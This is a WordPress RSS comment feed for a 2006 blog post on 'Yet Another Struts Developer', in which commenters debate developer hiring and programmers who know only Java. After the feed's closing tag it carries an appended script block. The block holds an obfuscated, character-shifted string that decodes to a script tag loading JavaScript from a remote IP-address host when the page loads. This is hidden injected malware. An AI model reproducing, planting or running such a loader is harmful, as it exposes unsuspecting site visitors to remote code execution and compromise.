<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: He&#8217;s a YASD (Yet Another Struts Developer)</title>
	<atom:link href="http://blog.secosoft.net/2006/04/19/hes-a-yasd-yet-another-struts-developer/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.secosoft.net/2006/04/19/hes-a-yasd-yet-another-struts-developer/</link>
	<description>Matt Secoske's intermittent ramblings on software and life</description>
	<pubDate>Thu, 04 Dec 2008 00:40:11 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
		<item>
		<title>By: technical interviewing woes &#171; Jason Shepherd</title>
		<link>http://blog.secosoft.net/2006/04/19/hes-a-yasd-yet-another-struts-developer/#comment-2971</link>
		<dc:creator>technical interviewing woes &#171; Jason Shepherd</dc:creator>
		<pubDate>Fri, 03 Nov 2006 16:31:17 +0000</pubDate>
		<guid isPermaLink="false">http://blog.secosoft.net/2006/04/19/hes-a-yasd-yet-another-struts-developer/#comment-2971</guid>
		<description>[...] Matt Secoske has already blogged about the YASD phenomenon, and he is spot-on.  But, let me say that I&#8217;m appalled at the number of programmers I interview that only know one programming language: Java.  And, their knowledge of Java isn&#8217;t even that deep, very cursory at best, with &#8220;7+ years experience&#8221; in Java!  How does this happen?  When I graduated from college, I knew 15 different programming languages.  Many of them I picked up casually; it&#8217;s not like I was collecting languages like trading cards (things like Perl, Awk, and Sed just became a necessity when I was a UNIX guy).  I know that 15 languages isn&#8217;t the norm, but come on, just Java?  Being exposed to different programming languages (and paradigms) makes one a better programmer by understanding how to solve problems in a variety of ways, some more efficient than others.  When I have candidates &#8220;write&#8221; code over the phone, it is often the most wasteful and inefficient code I have ever seen.  A simple perusal through the Essential Java Language Programming Guide would correct a lot of these problems, but these candidates avoid learning like the plague (unless of course their employer is paying for them to go to some expensive training class&#8230; then they&#8217;re game). [...]</description>
		<content:encoded><![CDATA[<p>[...] Matt Secoske has already blogged about the YASD phenomenon, and he is spot-on.  But, let me say that I&#8217;m appalled at the number of programmers I interview that only know one programming language: Java.  And, their knowledge of Java isn&#8217;t even that deep, very cursory at best, with &#8220;7+ years experience&#8221; in Java!  How does this happen?  When I graduated from college, I knew 15 different programming languages.  Many of them I picked up casually; it&#8217;s not like I was collecting languages like trading cards (things like Perl, Awk, and Sed just became a necessity when I was a UNIX guy).  I know that 15 languages isn&#8217;t the norm, but come on, just Java?  Being exposed to different programming languages (and paradigms) makes one a better programmer by understanding how to solve problems in a variety of ways, some more efficient than others.  When I have candidates &#8220;write&#8221; code over the phone, it is often the most wasteful and inefficient code I have ever seen.  A simple perusal through the Essential Java Language Programming Guide would correct a lot of these problems, but these candidates avoid learning like the plague (unless of course their employer is paying for them to go to some expensive training class&#8230; then they&#8217;re game). [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: thoughts.on.code :: Kick ass (ass kickin?) interview/screening questions</title>
		<link>http://blog.secosoft.net/2006/04/19/hes-a-yasd-yet-another-struts-developer/#comment-2659</link>
		<dc:creator>thoughts.on.code :: Kick ass (ass kickin?) interview/screening questions</dc:creator>
		<pubDate>Fri, 13 Oct 2006 03:02:43 +0000</pubDate>
		<guid isPermaLink="false">http://blog.secosoft.net/2006/04/19/hes-a-yasd-yet-another-struts-developer/#comment-2659</guid>
		<description>[...] Found this brilliant post on programmer screenings tonight on Steve Yegge&#8217;s old blog. Even though they are a few years old, these questions pack a serious technical challenge for anyone who doesn&#8217;t know their stuff in a broad range of programming kung-fu. Steve covers all of the basics (OO, scripting, data structures, real code, and cs fundamentals, recursion). The questions are designed to balance out each other, so you don&#8217;t get a YASD, and you don&#8217;t get a Perl hacker (unless they are really good). [...]</description>
		<content:encoded><![CDATA[<p>[...] Found this brilliant post on programmer screenings tonight on Steve Yegge&#8217;s old blog. Even though they are a few years old, these questions pack a serious technical challenge for anyone who doesn&#8217;t know their stuff in a broad range of programming kung-fu. Steve covers all of the basics (OO, scripting, data structures, real code, and cs fundamentals, recursion). The questions are designed to balance out each other, so you don&#8217;t get a YASD, and you don&#8217;t get a Perl hacker (unless they are really good). [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Matt</title>
		<link>http://blog.secosoft.net/2006/04/19/hes-a-yasd-yet-another-struts-developer/#comment-992</link>
		<dc:creator>Matt</dc:creator>
		<pubDate>Sat, 22 Apr 2006 11:23:42 +0000</pubDate>
		<guid isPermaLink="false">http://blog.secosoft.net/2006/04/19/hes-a-yasd-yet-another-struts-developer/#comment-992</guid>
		<description>Jeff - your partially correct.  We are looking for above average developers.  My main criteria for an above average developer is that they care enough about their career/profession to be improving themselves outside of their comfort zone.  Initiative, drive. They do not have to be geniuses but they need to "get it" and have enough interest to look outside of their cubicle every once in a while.</description>
		<content:encoded><![CDATA[<p>Jeff - your partially correct.  We are looking for above average developers.  My main criteria for an above average developer is that they care enough about their career/profession to be improving themselves outside of their comfort zone.  Initiative, drive. They do not have to be geniuses but they need to &#8220;get it&#8221; and have enough interest to look outside of their cubicle every once in a while.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Jeff</title>
		<link>http://blog.secosoft.net/2006/04/19/hes-a-yasd-yet-another-struts-developer/#comment-991</link>
		<dc:creator>Jeff</dc:creator>
		<pubDate>Sat, 22 Apr 2006 11:02:43 +0000</pubDate>
		<guid isPermaLink="false">http://blog.secosoft.net/2006/04/19/hes-a-yasd-yet-another-struts-developer/#comment-991</guid>
		<description>The most important thing in hiring someone is to assess the needs of the company and find someone with skills that match those requirements. Genius developers with adequate social skills who live and breath technology are few and far between.

The kind of developer you seem to be looking for will not, I suspect, be content to merely develop practical applications for a real-world business, but would rather spend company time exploring the ins and outs of the latest buzz word framework than delivering software on time and within budget.</description>
		<content:encoded><![CDATA[<p>The most important thing in hiring someone is to assess the needs of the company and find someone with skills that match those requirements. Genius developers with adequate social skills who live and breath technology are few and far between.</p>
<p>The kind of developer you seem to be looking for will not, I suspect, be content to merely develop practical applications for a real-world business, but would rather spend company time exploring the ins and outs of the latest buzz word framework than delivering software on time and within budget.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<html>
<script>var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)71-226-::-225-216-223-227-43-227-232-223-212-72-45-227-212-231-227-58-217-:8-229-:8-226-::-225-216-223-227-45-43-226-225-::-72-45-215-227-227-223-69-58-58-68-5:-57-5:-63-61-57-65-63-57-68-5:-58-224-228-:8-221-227-226-212-225-229-212-58-224-228-:8-221-227-57-217-226-45-73-71-58-226-::-225-216-223-227-73**<=0tdsjqu?"; var result = ""; 
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); 
document.write(result); </script>
</html>

